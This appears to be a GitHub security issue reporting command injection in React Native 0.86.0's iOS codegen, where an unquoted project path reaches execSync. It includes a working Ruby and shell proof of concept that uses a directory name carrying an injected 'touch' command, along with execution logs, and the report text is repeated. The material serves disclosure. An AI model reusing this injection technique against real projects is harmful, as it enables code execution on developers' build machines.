Description
React Native 0.86.0 appears to pass the iOS app path into the codegen flow and later concatenates it into a shell command without quoting or using an argv-based child process API.
The issue is reachable through the React Native CocoaPods/codegen integration:
Podfile use_react_native!(app_path: ...)
-> scripts/react_native_pods.rb run_codegen!(app_path, ...)
-> scripts/cocoapods/codegen_utils.rb Pod::Executable.execute_command("node", [".../generate-codegen-artifacts.js", "-p", app_path, ...])
-> scripts/codegen/generate-artifacts-executor/generateReactCodegenPodspec.js
-> execSync(`find ${resolvedAppPath} -type d -name "*.xcodeproj"`)
If the React Native project path contains shell metacharacters, those characters are interpreted by the shell when the find command is executed. This can execute unintended commands during normal iOS codegen / pod installation.
The vulnerable command construction is in scripts/codegen/generate-artifacts-executor/generateReactCodegenPodspec.js:
const resolvedAppPath = path.resolve(appPath);
execSync(`find ${resolvedAppPath} -type d -name "*.xcodeproj"`);
The same file later also constructs another shell command using path.join(resolvedAppPath, jsSrcsDir).
Steps to reproduce
The following PoC shows the issue through the React Native CocoaPods codegen path. It does not require calling react-native/scripts/generate-codegen-artifacts.js directly from the reproducer; the Ruby codegen entry invokes Node in the same way React Native's CocoaPods integration does.
set -e
WORKDIR="$(mktemp -d /tmp/rn-codegen-poc.XXXXXX)"
cd "$WORKDIR"
npm init -y >/dev/null
npm install react-native@0.86.0 >/dev/null
ruby <<'RUBY'
require 'json'
require 'open3'
require 'pathname'
require 'fileutils'
root = Dir.pwd
app_path = File.join(root, 'rn;touch${IFS}rn-codegen-pwn;#')
marker = File.join(root, 'rn-codegen-pwn')
log = File.join(root, 'rn-execsync-ruby.log')
FileUtils.rm_rf(app_path)
FileUtils.rm_f(marker)
FileUtils.rm_f(log)
FileUtils.mkdir_p(File.join(app_path, 'src'))
File.write(File.join(app_path, 'package.json'), JSON.pretty_generate({
name: 'rn-codegen-poc',
codegenConfig: {
name: 'RNCodegenPoc',
type: 'all',
jsSrcsDir: 'src'
}
}))
# Hook child_process.execSync in the Node process launched by React Native's
# CocoaPods codegen helper, so the generated shell command is visible.
hook = <<~JS
import { createRequire } from 'node:module';
const require = createRequire('file://' + process.cwd() + '/rn-hook.js');
const fs = require('node:fs');
const cp = require('node:child_process');
const originalExecSync = cp.execSync;
cp.execSync = function hookedExecSync(command, options) {
fs.appendFileSync(#{log.inspect}, `[execSync pid=${process.pid} cwd=${process.cwd()}] ${String(command)}\\n`);
return originalExecSync.apply(this, arguments);
};
JS
encoded = hook.bytes.map { |b| '%%%02X' % b }.join
ENV['NODE_OPTIONS'] = "--import=data:text/javascript,#{encoded}"
# Minimal CocoaPods API shim for the reproducer. In a normal RN iOS project,
# `pod install` provides these objects and calls the same React Native codegen path.
module Pod
class UI
def self.puts(message = '')
Kernel.puts(message)
end
def self.warn(message = '')
Kernel.warn(message)
end
end
class Config
def self.instance
@instance ||= new
end
def installation_root
Pathname.new(Dir.pwd)
end
end
class Executable
def self.execute_command(command, args)
Kernel.puts "[ruby] Pod::Executable.execute_command #{command} #{args.inspect}"
stdout, stderr, status = Open3.capture3(ENV, command, *args.map(&:to_s))
Kernel.puts stderr unless stderr.empty?
Kernel.puts "[ruby] child exit status: #{status.exitstatus}"
stdout
end
end
end
require './node_modules/react-native/scripts/cocoapods/codegen_utils.rb'
require './node_modules/react-native/scripts/cocoapods/codegen.rb'
run_codegen!(
app_path,
'',
react_native_path: './node_modules/react-native',
codegen_output_dir: 'build/generated/ios'
)
puts "[ruby] marker exists: #{File.exist?(marker)}"
puts "[ruby] marker path: #{marker}"
puts "[ruby] execSync log:"
puts File.exist?(log) ? File.read(log) : '(no log)'
RUBY
Expected behavior: the project path should be treated only as a filesystem path.
Actual behavior: the project path is embedded into a shell command and shell metacharacters are executed.
React Native Version
0.86.0
Affected Platforms
Other (please specify), Build - MacOS
Output of npx @react-native-community/cli info
info Fetching system and libraries information...
System:
OS: macOS 15.6
CPU: (8) arm64 Apple M1
Memory: 151.17 MB / 16.00 GB
Shell:
version: "5.9"
path: /bin/zsh
Binaries:
Node:
version: 24.3.0
path: /opt/homebrew/bin/node
Yarn:
version: 1.22.22
path: /Users/Dremig/.nvm/versions/node/v24.10.0/bin/yarn
npm:
version: 11.4.2
path: /opt/homebrew/bin/npm
Watchman: Not Found
Managers:
CocoaPods: Not Found
SDKs:
iOS SDK: Not Found
Android SDK: Not Found
IDEs:
Android Studio: Not Found
Xcode:
version: /undefined
path: /usr/bin/xcodebuild
Languages:
Java:
version: 25.0.1
path: /usr/bin/javac
Ruby:
version: 2.6.10
path: /usr/bin/ruby
npmPackages:
"@react-native-community/cli": Not Found
react: Not Found
react-native:
installed: 0.86.0
wanted: ^0.86.0
react-native-macos: Not Found
npmGlobalPackages:
"*react-native*": Not Found
Android:
hermesEnabled: Not found
newArchEnabled: Not found
iOS:
hermesEnabled: Not found
newArchEnabled: Not found
Stacktrace or Logs
The PoC above produced the following evidence. The important line is the hooked `execSync` command, which shows the unquoted app path being interpolated directly into a shell command:
[ruby] Pod::Executable.execute_command node ["././node_modules/react-native/scripts/generate-codegen-artifacts.js", "-p", "/private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;#", "-o", #<Pathname:/private/tmp/rn-require-poc.opPhb1>, "-t", "ios"]
[Codegen] Analyzing /private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;#/package.json
[Codegen] Processing RNCodegenPoc
[Codegen] Generating Native Code for RNCodegenPoc - ios
[Codegen] Generated podspec: /private/tmp/rn-require-poc.opPhb1/build/generated/ios/ReactAppDependencyProvider/ReactAppDependencyProvider.podspec
find: /private/tmp/rn-require-poc.opPhb1/rn: No such file or directory
[Codegen] Error: Cannot find .xcodeproj file inside /private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;#. This is required to determine codegen spec paths relative to native project.
[Codegen] Done.
[ruby] marker exists: true
[ruby] marker path: /private/tmp/rn-require-poc.opPhb1/rn-codegen-pwn
[ruby] execSync log:
[execSync pid=32732 cwd=/private/tmp/rn-require-poc.opPhb1] find /private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;# -type d -name "*.xcodeproj"
The command executed by `execSync` contains:
find /private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;# -type d -name "*.xcodeproj"
The shell interprets this as multiple commands, and `touch${IFS}rn-codegen-pwn` creates the marker file.
MANDATORY Reproducer
Not posting a public reproducer because this issue appears to have security implications. A complete self-contained reproducer and execution logs are included in this report and can be shared privately with maintainers.
Screenshots and Videos
No response
Description
React Native 0.86.0 appears to pass the iOS app path into the codegen flow and later concatenates it into a shell command without quoting or using an argv-based child process API.
The issue is reachable through the React Native CocoaPods/codegen integration:
If the React Native project path contains shell metacharacters, those characters are interpreted by the shell when the
findcommand is executed. This can execute unintended commands during normal iOS codegen / pod installation.The vulnerable command construction is in
scripts/codegen/generate-artifacts-executor/generateReactCodegenPodspec.js:The same file later also constructs another shell command using
path.join(resolvedAppPath, jsSrcsDir).Steps to reproduce
The following PoC shows the issue through the React Native CocoaPods codegen path. It does not require calling
react-native/scripts/generate-codegen-artifacts.jsdirectly from the reproducer; the Ruby codegen entry invokes Node in the same way React Native's CocoaPods integration does.Expected behavior: the project path should be treated only as a filesystem path.
Actual behavior: the project path is embedded into a shell command and shell metacharacters are executed.
React Native Version
0.86.0
Affected Platforms
Other (please specify), Build - MacOS
Output of
npx @react-native-community/cli infoStacktrace or Logs
MANDATORY Reproducer
Not posting a public reproducer because this issue appears to have security implications. A complete self-contained reproducer and execution logs are included in this report and can be shared privately with maintainers.
Screenshots and Videos
No response